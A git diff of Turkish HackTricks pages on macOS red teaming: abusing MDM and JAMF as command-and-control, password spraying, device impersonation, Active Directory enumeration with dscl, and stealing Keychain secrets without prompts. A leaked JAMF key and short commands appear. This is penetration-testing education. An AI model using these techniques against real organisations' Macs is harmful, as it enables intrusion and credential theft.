[macos-mdm](macos-mdm/)
@ -29,27 +30,27 @@ MacOS ortamlarında kırmızı takım için MDM'lerin nasıl çalıştığını
### MDM'yi C2 Olarak Kullanma
Bir MDM, profilleri yüklemeye, sorgulamaya veya kaldırmaya, uygulamaları yüklemeye, yerel yönetici hesapları oluşturmaya, firmware şifresi belirlemeye, FileVault anahtarını değiştirmeye izin verecektir...
Bir MDM, profilleri yüklemeye, sorgulamaya veya kaldırmaya, uygulamaları yüklemeye, yerel yönetici hesapları oluşturmaya, firmware şifresini ayarlamaya, FileVault anahtarını değiştirmeye izin verecektir...
Kendi MDM'nizi çalıştırmak için [**https://mdmcert.download/**](https://mdmcert.download/) adresinden alabileceğiniz bir **CSR'nızı bir satıcı tarafından imzalatmanız** gerekmektedir. Apple cihazları için kendi MDM'nizi çalıştırmak için [**MicroMDM**](https://github.com/micromdm/micromdm) kullanabilirsiniz.
Kendi MDM'nizi çalıştırmak için [**https://mdmcert.download/**](https://mdmcert.download/) adresinden alabileceğiniz bir satıcı tarafından imzalanan **CSR'nize** ihtiyacınız olacaktır. Apple cihazları için kendi MDM'nizi çalıştırmak için [**MicroMDM**](https://github.com/micromdm/micromdm) kullanabilirsiniz.
Ancak, bir uygulamayı kayıtlı bir cihaza yüklemek için hala bir geliştirici hesabıyla imzalanmış olması gerekmektedir... ancak, MDM kaydı sırasında **cihaz, MDM'nin SSL sertifikasını güvenilir bir CA olarak ekler**, böylece artık herhangi bir şeyi imzalayabilirsiniz.
Ancak, bir uygulamayı kayıtlı bir cihaza yüklemek için hala bir geliştirici hesabına sahip olmanız gerekmektedir... ancak, MDM kaydı sırasında **cihaz, MDM'nin SSL sertifikasını güvenilir bir CA olarak ekler**, böylece artık herhangi bir şeyi imzalayabilirsiniz.
Cihazı bir MDM'ye kaydetmek için kök olarak bir **`mobileconfig`** dosyası yüklemeniz gerekmektedir, bu dosya bir **pkg** dosyası aracılığıyla teslim edilebilir (zip içine sıkıştırabilir ve safari'den indirildiğinde açılabilir).
Cihazı bir MDM'ye kaydetmek için kök olarak bir **`mobileconfig`** dosyası yüklemeniz gerekmektedir, bu da bir **pkg** dosyası aracılığıyla teslim edilebilir (zip içinde sıkıştırabilir ve safari'den indirildiğinde açılabilir).
**Mythic ajanı Orthrus** bu tekniği kullanır.
### JAMF PRO'yu Kötüye Kullanma
JAMF, **özel betikler** (sistem yöneticisi tarafından geliştirilen betikler), **yerel yükler** (yerel hesap oluşturma, EFI şifresi belirleme, dosya/işlem izleme...) ve **MDM** (cihaz yapılandırmaları, cihaz sertifikaları...) çalıştırabilir.
JAMF, **özel betikler** (sistem yöneticisi tarafından geliştirilen betikler), **yerel yükler** (yerel hesap oluşturma, EFI şifresi ayarlama, dosya/işlem izleme...) ve **MDM** (cihaz yapılandırmaları, cihaz sertifikaları...) çalıştırabilir.
#### JAMF otomatik kayıt
`https://<şirket-adı>.jamfcloud.com/enroll/` gibi bir sayfaya giderek **otomatik kaydı etkinleştirilip etkinleştirilmediğini** kontrol edebilirsiniz. Etkinleştirilmişse **erişim için kimlik bilgileri isteyebilir**.
Öz-kayıt etkinleştirilmiş bir sayfaya gitmek için `https://<şirket-adı>.jamfcloud.com/enroll/` gibi bir sayfaya gidin. Etkinleştirilmişse **erişmek için kimlik bilgileri isteyebilir**.
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) betiğini kullanarak bir şifre sıçratma saldırısı gerçekleştirebilirsiniz.
Şifre püskürtme saldırısı gerçekleştirmek için [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) betiğini kullanabilirsiniz.
Ayrıca, uygun kimlik bilgileri bulduktan sonra diğer kullanıcı adlarını kaba kuvvet saldırısı yapabilirsiniz:
Ayrıca, uygun kimlik bilgilerini bulduktan sonra diğer kullanıcı adlarını kaba kuvvet saldırısıyla deneyebilirsiniz:
![](<../../.gitbook/assets/image (107).png>)
@ -57,7 +58,7 @@ Ayrıca, uygun kimlik bilgileri bulduktan sonra diğer kullanıcı adlarını ka
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
**`jamf`** ikili dosyası, zamanında **herkesle paylaşılan** anahtarı açmak için gizliydi ve o zaman keşfedildiğinde: **`jk23ucnq91jfu9aj`** idi.\
**`jamf`** ikili dosyası, zamanında keşfedildiğinde **herkesle paylaşılan** anahtarı açmak için gizliydi ve bu: **`jk23ucnq91jfu9aj`** idi.\
Ayrıca, jamf **`/Library/LaunchAgents/com.jamf.management.agent.plist`** konumunda bir **LaunchDaemon** olarak kalıcıdır.
#### JAMF Cihaz Devralma
@ -80,9 +81,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
```
{% endcode %}
Bu nedenle, bir saldırgan, **bu dosyayı üzerine yazacak** şekilde kötü niyetli bir paket (`pkg`) bırakabilir ve yüklenirken **URL'yi bir Typhon ajanından Mythic C2 dinleyicisine ayarlayabilir** ve artık JAMF'ı C2 olarak kötüye kullanabilir.
{% code overflow="wrap" %}
Bu durumda, bir saldırgan, kurulduğunda **bu dosyayı üzerine yazacak** şekilde kötü niyetli bir paket (`pkg`) bırakabilir ve artık JAMF'ı C2 olarak kötüye kullanmak için bir Typhon ajanından Mythic C2 dinleyicisine **URL'yi ayarlayabilir**.
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
@ -96,19 +95,19 @@ sudo jamf policy -id 0
Bir cihaz ile JMF arasındaki iletişimi **taklit etmek** için şunlara ihtiyacınız vardır:
* Cihazın **UUID**'si: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* Cihaz sertifikasını içeren **JAMF anahtarlığı**: `/Library/Application\ Support/Jamf/JAMF.keychain`
* Cihaz sertifikasını içeren **JAMF anahtar zinciri**: `/Library/Application\ Support/Jamf/JAMF.keychain`
Bu bilgilerle, **çalınan** Donanım **UUID'si** ile ve **SIP devre dışı** bırakılmış bir VM **oluşturun**, **JAMF anahtarlığını** bırakın, Jamf **ajansını kancalayın** ve bilgilerini çalın.
Bu bilgilerle, **çalınan** Donanım **UUID'si** ile ve **SIP devre dışı** bırakılmış bir VM **oluşturun**, **JAMF anahtar zincirini** bırakın, Jamf **ajansını kancala** ve bilgilerini çalın.
#### Sırların Çalınması
<figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
Ayrıca, **özel betiklerin** yerini izleyebilirsiniz `/Library/Application Support/Jamf/tmp/` yöneticilerin Jamf aracılığıyla çalıştırmak isteyebileceği çünkü buraya yerleştirilir, çalıştırılır ve kaldırılır. Bu betikler **kimlik bilgileri içerebilir**.
Ayrıca, **özel betiklerin** yerine **yerleştirildiği, yürütüldüğü ve kaldırıldığı** `/Library/Application Support/Jamf/tmp/` konumunu izleyebilirsiniz. Bu betikler **kimlik bilgileri içerebilir**.
Ancak, **kimlik bilgileri** bu betiklere **parametreler** olarak iletilmiş olabilir, bu nedenle `ps aux | grep -i jamf`'yi (root olmadan bile) izlemeniz gerekebilir.
[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) betiği yeni dosyaların eklenmesini ve yeni işlem argümanlarını dinleyebilir.
[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) betiği, yeni dosyaların eklenmesini ve yeni işlem argümanlarını dinleyebilir.
### macOS Uzak Erişim
@ -134,15 +133,15 @@ Bazı durumlarda **MacOS bilgisayarının bir AD'ye bağlı olduğunu** görecek
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
{% endcontent-ref %}
Size yardımcı olabilecek bazı **yerel MacOS araçları** `dscl`'dir:
Size yardımcı olabilecek bazı **yerel MacOS araçları** da `dscl`'dir:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
Ayrıca, MacOS için AD'yi otomatik olarak numaralandırmak ve kerberos ile oynamak için bazı araçlar hazırlanmıştır:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound, Bloodhound denetleme aracına bir uzantıdır ve MacOS ana bilgisayarlarında Active Directory ilişkilerini toplamayı ve yüklemeyi sağlar.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS'ta Heimdal krb5 API'leri ile etkileşim sağlamak üzere tasarlanmış bir Objective-C projesidir. Projenin amacı, hedef üzerinde başka bir çerçeve veya paket gerektirmeden yerel API'leri kullanarak macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapmayı sağlamaktır.
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) aracı olan Orchard, Active Directory numaralandırması yapmak için kullanılır.
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound, Bloodhound denetim aracına bir uzantıdır ve MacOS ana bilgisayarlarında Active Directory ilişkilerini toplamaya ve yüklemeye olanak tanır.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS'ta Heimdal krb5 API'leri ile etkileşim sağlamak üzere tasarlanmış bir Objective-C projesidir. Projenin amacı, hedef üzerinde herhangi başka bir çerçeve veya paket gerektirmeden macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapılmasını sağlamaktır.
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) aracı, Active Directory numaralandırması yapmak için kullanılır.
### Alan Bilgileri
```bash
@ -150,20 +149,20 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
### Kullanıcılar
MacOS kullanıcılarının üç türü şunlardır:
MacOS kullanıcılarının üç türü vardır:
- **Yerel Kullanıcılar** — Yerel OpenDirectory hizmeti tarafından yönetilir, Active Directory ile herhangi bir şekilde bağlantılı değillerdir.
- **Ağ Kullanıcıları** — Geçici Active Directory kullanıcıları, kimlik doğrulamak için DC sunucusuna bağlantı gerektirirler.
- **Mobil Kullanıcılar** — Yerel yedekleri olan Active Directory kullanıcıları, kimlik bilgileri ve dosyaları için yerel bir yedekleme yaparlar.
- **Mobil Kullanıcılar** — Yerel yedekleri olan Active Directory kullanıcıları.
Kullanıcılar ve gruplarla ilgili yerel bilgiler, _/var/db/dslocal/nodes/Default_ klasöründe saklanır.\
Kullanıcılar ve gruplarla ilgili yerel bilgiler _/var/db/dslocal/nodes/Default_ klasöründe saklanır.\
Örneğin, _mark_ adlı kullanıcıyla ilgili bilgiler _/var/db/dslocal/nodes/Default/users/mark.plist_ dosyasında saklanır ve _admin_ grubuyla ilgili bilgiler _/var/db/dslocal/nodes/Default/groups/admin.plist_ dosyasında bulunur.
HasSession ve AdminTo kenarlarını kullanmanın yanı sıra, **MacHound Bloodhound veritabanına üç yeni kenar ekler**:
- **CanSSH** - ana bilgisayara SSH yapmaya izin verilen varlık
- **CanVNC** - ana bilgisayara VNC yapmaya izin verilen varlık
- **CanAE** - ana bilgisayarda AppleEvent betiklerini çalıştırmaya izin verilen varlık
- **CanAE** - ana bilgisayarda AppleEvent komut dosyalarını çalıştırmaya izin verilen varlık
```bash
#User enumeration
dscl . ls /Users
@ -189,7 +188,7 @@ Daha fazla bilgi için [https://its-a-feature.github.io/posts/2018/01/Active-Dir
## Anahtarlık Erişimi
Anahtarlık muhtemelen hassas bilgiler içerir ve bir uyarı oluşturmadan erişilirse kırmızı takım egzersizine devam etmede yardımcı olabilir:
Anahtarlık büyük olasılıkla hassas bilgiler içerir ve bir uyarı oluşturmadan erişilirse kırmızı takım egzersizine devam etmede yardımcı olabilir:
{% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md)
@ -197,7 +196,7 @@ Anahtarlık muhtemelen hassas bilgiler içerir ve bir uyarı oluşturmadan eriş
## Harici Hizmetler
MacOS Kırmızı Takımı, genellikle **MacOS'un doğrudan birkaç harici platformla entegre edilmiş olması nedeniyle normal Windows Kırmızı Takımdan farklıdır**. MacOS'un yaygın bir yapılandırması, **OneLogin senkronize kimlik bilgileri kullanarak bilgisayara erişim sağlamak ve OneLogin aracılığıyla birkaç harici hizmete** (github, aws gibi...) erişmektir.
MacOS Kırmızı Takımı, genellikle **MacOS'un doğrudan birkaç harici platformla entegre edilmiş olması nedeniyle normal Windows Kırmızı Takımdan farklıdır**. MacOS'un yaygın bir yapılandırması, **OneLogin senkronize kimlik bilgileri kullanarak bilgisayara erişim sağlamak ve OneLogin aracılığıyla birçok harici hizmete erişmek** şeklindedir (github, aws gibi).
## Çeşitli Kırmızı Takım teknikleri

View file

@ -1,24 +1,25 @@
# macOS Anahtarlık
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunar.
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **tehlikeye atılıp atılmadığını** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
@ -35,7 +36,7 @@ Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
### Şifre Anahtarlığı Erişimi
Bu dosyalar, doğal korumaya sahip olmasalar da **indirilebilirler** ve şifrelerin **şifresiz metinle çözülmesi** için **kullanıcının düz metin şifresine ihtiyaç duyarlar**. [**Chainbreaker**](https://github.com/n0fate/chainbreaker) gibi bir araç şifre çözme için kullanılabilir.
Bu dosyalar, doğal korumaya sahip olmasalar da **indirilebilirler** ve şifreli oldukları için **kullanıcının düz metin şifresine ihtiyaç duyarlar**. [**Chainbreaker**](https://github.com/n0fate/chainbreaker) gibi bir araç şifre çözme işlemi için kullanılabilir.
## Anahtarlık Girişleri Korumaları
@ -47,35 +48,35 @@ Anahtarlıkta her giriş, anahtarlık girişinde çeşitli işlemleri kimin yapa
* **ACLAuhtorizationExportWrapped**: Sahibin sırrı başka bir sağlanan şifre ile şifrelenmiş açık metin olarak almasına izin verir.
* **ACLAuhtorizationAny**: Sahibin herhangi bir işlemi gerçekleştirmesine izin verir.
ACL'ler, bu işlemleri sorunsuzca gerçekleştirebilen **güvenilir uygulamaların listesi** ile desteklenir. Bu şunları içerebilir:
ACL'ler, bu işlemleri kullanıcıya sormadan gerçekleştirebilen **güvenilir uygulamaların listesi** ile desteklenir. Bu şunları içerebilir:
* **N`il`** (izin gerekmez, **herkes güvenilir**)
* Boş bir liste (**hiç kimse güvenilir değil**)
* Belirli **uygulamaların listesi**.
* Belirli **uygulamaların** listesi.
Ayrıca giriş, **`ACLAuthorizationPartitionID`** anahtarını içerebilir, bu da **teamid, apple** ve **cdhash'yi** tanımlamak için kullanılır.
* Eğer **teamid** belirtilmişse, giriş değerine **izin vermek** için kullanılan uygulamanın **aynı teamid'ye** sahip olması gerekir.
* Eğer **apple** belirtilmişse, uygulamanın **Apple** tarafından **imzalanmış** olması gerekir.
* Eğer **cdhash** belirtilmişse, uygulamanın belirli **cdhash'e** sahip olması gerekir.
* Eğer **cdhash** belirtilmişse, uygulamanın belirli bir **cdhash'e** sahip olması gerekir.
### Bir Anahtarlık Girişi Oluşturma
**`Anahtarlık Erişimi.app`** kullanılarak **yeni bir giriş oluşturulduğunda**, aşağıdaki kurallar geçerlidir:
Yeni bir **giriş** **`Anahtarlık Erişimi.app`** kullanılarak oluşturulduğunda, aşağıdaki kurallar geçerlidir:
* Tüm uygulamalar şifreleyebilir.
* **Hiçbir uygulama** dışa aktaramaz/şifre çözemez (kullanıcıya soru sormadan).
* Hiçbir uygulama dışa aktaramaz/şifre çözemez (kullanıcıya sormadan).
* Tüm uygulamalar bütünlük kontrolünü görebilir.
* Hiçbir uygulama ACL'leri değiştiremez.
* **PartitionID** **`apple`** olarak ayarlanır.
**Bir uygulama anahtarlıkta bir giriş oluşturduğunda**, kurallar biraz farklıdır:
Bir **uygulama anahtarlıkta bir giriş oluşturduğunda**, kurallar biraz farklıdır:
* Tüm uygulamalar şifreleyebilir.
* Yalnızca **oluşturan uygulama** (veya açıkça eklenen diğer uygulamalar) dışa aktarabilir/şifre çözebilir (kullanıcıya soru sormadan).
* Yalnızca **oluşturan uygulama** (veya açıkça eklenen diğer uygulamalar) dışa aktarabilir/şifre çözebilir (kullanıcıya sormadan).
* Tüm uygulamalar bütünlük kontrolünü görebilir.
* Hiçbir uygulama ACL'leri değiştiremez.
* **PartitionID** **`teamid:[teamID buraya]`** olarak ayarlanır.
* **PartitionID** **`teamid:[buraya teamID]`** olarak ayarlanır.
## Anahtarlığa Erişim
@ -93,21 +94,21 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
### API'ler
{% hint style="success" %}
**Anahtarlık numaralandırma ve sızdırma** işlemi, **bir uyarı oluşturmayacak** sırların **LockSmith** aracı ile yapılabilir. [**LockSmith**](https://github.com/its-a-feature/LockSmith) aracı ile yapılabilir.
**Anahtarlık numaralandırma ve sızdırmazlık** oluşturmayacak sırların **dökülmesi**, [**LockSmith**](https://github.com/its-a-feature/LockSmith) aracı ile yapılabilir.
{% endhint %}
Her anahtarlık girişi hakkında **bilgi** alın ve listelenir:
Her anahtarlık girişi hakkında **bilgi** listele ve al:
* **`SecItemCopyMatching`** API'si her giriş hakkında bilgi verir ve kullanırken ayarlayabileceğiniz bazı özellikler bulunmaktadır:
* **`kSecReturnData`**: Doğru ise verileri şifrelemeye çalışır (potansiyelılır pencereleri önlemek için false olarak ayarlayın)
* **`SecItemCopyMatching`** API'si her giriş hakkında bilgi verir ve kullanırken ayarlayabileceğiniz bazı özellikler vardır:
* **`kSecReturnData`**: Doğruysa, verileri şifrelemeye çalışır (olasıılır pencereleri önlemek için false olarak ayarlayın)
* **`kSecReturnRef`**: Anahtarlık öğesine referansı da alın (daha sonra açılır pencereler olmadan şifreleyebileceğinizi gördüğünüzde true olarak ayarlayın)
* **`kSecReturnAttributes`**: Girişler hakkında meta verileri alın
* **`kSecMatchLimit`**: Kaç sonuç döndürüleceği
* **`kSecClass`**: Hangi türde anahtarlık girişi
Her girişin **ACL'leri** alın:
Her girişin **ACL'leri**ni alın:
* **`SecAccessCopyACLList`** API'si ile **anahtarlık öğesi için ACL'yi** alabilir ve ACL'lerin listesini döndürecektir (`ACLAuhtorizationExportClear` ve önceki diğerleri gibi) her liste şunları içerir:
* **`SecAccessCopyACLList`** API'si ile **anahtarlık öğesi için ACL'yi** alabilir ve her liste şunları içeren bir ACL listesi döndürecektir:
* Açıklama
* **Güvenilen Uygulama Listesi**. Bu şunlar olabilir:
* Bir uygulama: /Applications/Slack.app
@ -119,12 +120,12 @@ Veriyi dışa aktarın:
* **`SecKeychainItemCopyContent`** API'si düz metni alır
* **`SecItemExport`** API'si anahtarları ve sertifikaları dışa aktarır ancak içeriği şifreli olarak dışa aktarmak için şifreleri ayarlamak gerekebilir
Ve **bir uyarı oluşturmadan bir sırrı dışa aktarabilmek** için gerekenler:
Ve **bir ılır pencere olmadan bir sırrı dışa aktarabilmek** için gereksinimler şunlardır:
* Eğer **1'den fazla güvenilen** uygulama listelenmişse:
* Uygun **yetkilendirmelere** ihtiyaç vardır (**`Nil`**, veya sırra erişim yetkisi için yetkilendirme izin listesinde olmak)
* Kod imzasının **PartitionID** ile eşleşmesi gerekir
* Kod imzasının **güvenilen bir uygulamanın** kod imzasıyla eşleşmesi gerekir (veya doğru KeychainAccessGroup üyesi olmak)
* Kod imzasının bir **güvenilen uygulamanın** kod imzasıyla eşleşmesi gerekir (veya doğru KeychainAccessGroup üyesi olmak)
* Eğer **tüm uygulamalar güvenilirse**:
* Uygun **yetkilendirmelere** ihtiyaç vardır
* Kod imzasının **PartitionID** ile eşleşmesi gerekir
@ -133,13 +134,13 @@ Ve **bir uyarı oluşturmadan bir sırrı dışa aktarabilmek** için gerekenler
{% hint style="danger" %}
Bu nedenle, eğer **1 uygulama listelenmişse**, o uygulamaya **kod enjekte etmeniz gerekir**.
Eğer **partitionID**'de **apple** belirtilmişse, **`osascript`** ile buna erişebilirsiniz, böylece partitionID'de apple olan tüm uygulamalara güvenen herhangi bir şey. **`Python`** bunun için de kullanılabilir.
Eğer **partitionID'de apple** belirtilmişse, **`osascript`** ile erişebilirsiniz, böylece partitionID'de apple olan tüm uygulamalara güvenen herhangi bir şeye erişebilirsiniz. **`Python`** bunun için de kullanılabilir.
{% endhint %}
### İki ek özellik
* **Görünmez**: Girişi **UI** Anahtarlık uygulamasından **gizlemek** için bir boolean bayrağıdır
* **Genel**: **Meta verileri** saklamak için kullanılır (bu nedenle ŞİFRELENMEMİŞTİR)
* **Genel**: **Meta verileri** saklamak için kullanılır (bu nedenle **ŞİFRELENMEMİŞTİR**)
* Microsoft, hassas uç noktalara erişmek için tüm yenileme tokenlarını düz metinde saklıyordu.
## Referanslar
@ -150,24 +151,25 @@ Eğer **partitionID**'de **apple** belirtilmişse, **`osascript`** ile buna eri
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **tehlikeye atılıp atılmadığını** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık web** destekli bir arama motorudur.
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **tehlikeye atılıp atılmadığını** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ** destekli bir arama motorudur.
WhiteIntel'ın başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve **ücretsiz** olarak motorlarını deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
* [**Sponsorluk planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar göndererek paylaşın.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# macOS MDM
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**PEASS Ailesi**](https://opensea.io/collection/the-peass-family)'ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.**
</details>
{% endhint %}
**macOS MDM'ler hakkında bilgi edinmek için:**
**macOS MDM'leri hakkında bilgi edinmek için:**
* [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)
* [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)
@ -23,7 +24,7 @@ HackTricks'ı desteklemenin diğer yolları:
### **MDM (Mobil Cihaz Yönetimi) Genel Bakışı**
